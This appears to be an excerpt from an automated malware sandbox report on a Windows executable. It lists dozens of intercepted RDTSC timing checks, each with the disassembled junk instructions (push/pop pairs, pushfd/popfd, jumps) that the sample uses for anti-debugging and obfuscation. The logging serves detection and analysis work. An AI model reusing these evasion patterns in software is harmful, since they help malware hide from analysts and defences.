Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 522076F second address: 5220775 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220775 second address: 522079E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDFED133C4Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 522079E second address: 52207A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52207A4 second address: 52207A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52207A8 second address: 52207AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0D55 second address: 51E0D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0D59 second address: 51E0D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523090E second address: 5230914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230914 second address: 5230918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230918 second address: 5230939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDFED133C55h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51A0A1D second address: 51A0A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51A0A21 second address: 51A0A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51A0A27 second address: 51A0A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51A0A2D second address: 51A0A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51A0A31 second address: 51A0A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007FDFECF67A74h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51A0A59 second address: 51A0A76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0AD4 second address: 51E0ADA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0ADA second address: 51E0B5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDFED133C4Eh 0x00000011 adc al, FFFFFFF8h 0x00000014 jmp 00007FDFED133C4Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FDFED133C58h 0x00000020 jmp 00007FDFED133C55h 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007FDFED133C4Eh 0x0000002e pop ebp 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 call 00007FDFED133C4Ch 0x00000037 pop esi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0AFC second address: 51D0B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFECF67A6Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0B0A second address: 51D0B2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDFED133C56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0B2D second address: 51D0B3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0B3C second address: 51D0BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FDFED133C55h 0x0000000b or ch, FFFFFF96h 0x0000000e jmp 00007FDFED133C51h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FDFED133C53h 0x00000023 adc esi, 722AC5CEh 0x00000029 jmp 00007FDFED133C59h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007FDFED133C50h 0x00000035 adc eax, 3D661648h 0x0000003b jmp 00007FDFED133C4Bh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0BCD second address: 51D0BFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDFECF67A6Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52300ED second address: 5230112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDFED133C4Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230112 second address: 523016E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDFECF67A71h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDFECF67A6Ch 0x00000017 and ah, 00000058h 0x0000001a jmp 00007FDFECF67A6Bh 0x0000001f popfd 0x00000020 mov ax, 7F0Fh 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDFECF67A6Ch 0x00000030 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523016E second address: 5230172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230172 second address: 5230178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523000B second address: 5230011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230011 second address: 523002A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523002A second address: 523002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523002E second address: 5230032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230032 second address: 5230038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230038 second address: 523003E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523003E second address: 523006C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FDFED133C53h 0x0000000f movzx eax, dx 0x00000012 pop edx 0x00000013 mov ecx, 2A7E4271h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523006C second address: 5230070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230070 second address: 5230074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230074 second address: 523007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523007A second address: 5230080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220E9B second address: 5220EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220EA1 second address: 5220EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220EA7 second address: 5220EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220EAB second address: 5220ECC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov bl, 5Fh 0x00000012 mov eax, 3DC0C565h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220ECC second address: 5220EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov ebx, 3E93F460h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push esi 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220EE0 second address: 5220EE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0BF9 second address: 51E0BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0BFD second address: 51E0C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0C1A second address: 51E0C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0C20 second address: 51E0C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0C24 second address: 51E0C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52304AD second address: 52304DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FDFED133C53h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDFED133C50h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 522080C second address: 5220830 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx esi, bx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220830 second address: 522084C instructions: 0x00000000 rdtsc 0x00000002 mov bh, 42h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FDFED133C4Dh 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 522084C second address: 5220850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220850 second address: 5220863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5220863 second address: 52208EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov eax, 3315F1C3h 0x00000011 mov edi, ecx 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FDFECF67A77h 0x0000001e sub eax, 5E96001Eh 0x00000024 jmp 00007FDFECF67A79h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007FDFECF67A70h 0x00000030 jmp 00007FDFECF67A75h 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523027A second address: 523028D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523028D second address: 52302BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDFECF67A6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52302BA second address: 52302D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop ebx 0x0000000f mov bh, al 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52302D8 second address: 52302F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFECF67A77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52302F3 second address: 5230322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDFED133C4Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230322 second address: 5230332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFECF67A6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230332 second address: 5230336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230336 second address: 5230346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230346 second address: 523035E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 523035E second address: 5230380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bl, 6Dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDFECF67A75h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5200CAB second address: 5200CCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5200CCF second address: 5200CE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5200CE9 second address: 5200DA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FDFED133C4Dh 0x0000000b sub esi, 724CBE46h 0x00000011 jmp 00007FDFED133C51h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FDFED133C4Ch 0x00000022 sub esi, 4F7C02E8h 0x00000028 jmp 00007FDFED133C4Bh 0x0000002d popfd 0x0000002e push esi 0x0000002f mov si, dx 0x00000032 pop edx 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 pushad 0x00000037 jmp 00007FDFED133C4Ch 0x0000003c pushfd 0x0000003d jmp 00007FDFED133C52h 0x00000042 add eax, 76DA6078h 0x00000048 jmp 00007FDFED133C4Bh 0x0000004d popfd 0x0000004e popad 0x0000004f mov eax, dword ptr [ebp+08h] 0x00000052 jmp 00007FDFED133C56h 0x00000057 and dword ptr [eax], 00000000h 0x0000005a pushad 0x0000005b mov bx, ax 0x0000005e mov esi, 4B869269h 0x00000063 popad 0x00000064 pop ebp 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FDFED133C4Bh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5200DA7 second address: 5200DAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51F087A second address: 51F087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51F087E second address: 51F0882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51F0882 second address: 51F0888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51F0888 second address: 51F088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51F088E second address: 51F0892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0010 second address: 51B0016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0016 second address: 51B0043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FDFED133C4Eh 0x00000010 movzx ecx, bx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0043 second address: 51B0047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0047 second address: 51B004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B004B second address: 51B0051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0051 second address: 51B00BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 1235C06Dh 0x00000008 mov ecx, 0EFAF669h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDFED133C52h 0x00000018 sbb esi, 0DB83938h 0x0000001e jmp 00007FDFED133C4Bh 0x00000023 popfd 0x00000024 jmp 00007FDFED133C58h 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDFED133C57h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B00BC second address: 51B0129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FDFECF67A73h 0x00000014 xor cx, 19BEh 0x00000019 jmp 00007FDFECF67A79h 0x0000001e popfd 0x0000001f pushad 0x00000020 jmp 00007FDFECF67A6Eh 0x00000025 mov ax, A891h 0x00000029 popad 0x0000002a popad 0x0000002b xchg eax, ecx 0x0000002c jmp 00007FDFECF67A6Ch 0x00000031 push eax 0x00000032 pushad 0x00000033 mov ecx, ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 mov di, B47Eh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0129 second address: 51B0138 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 9A8Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ecx, edx 0x0000000f rdtsc
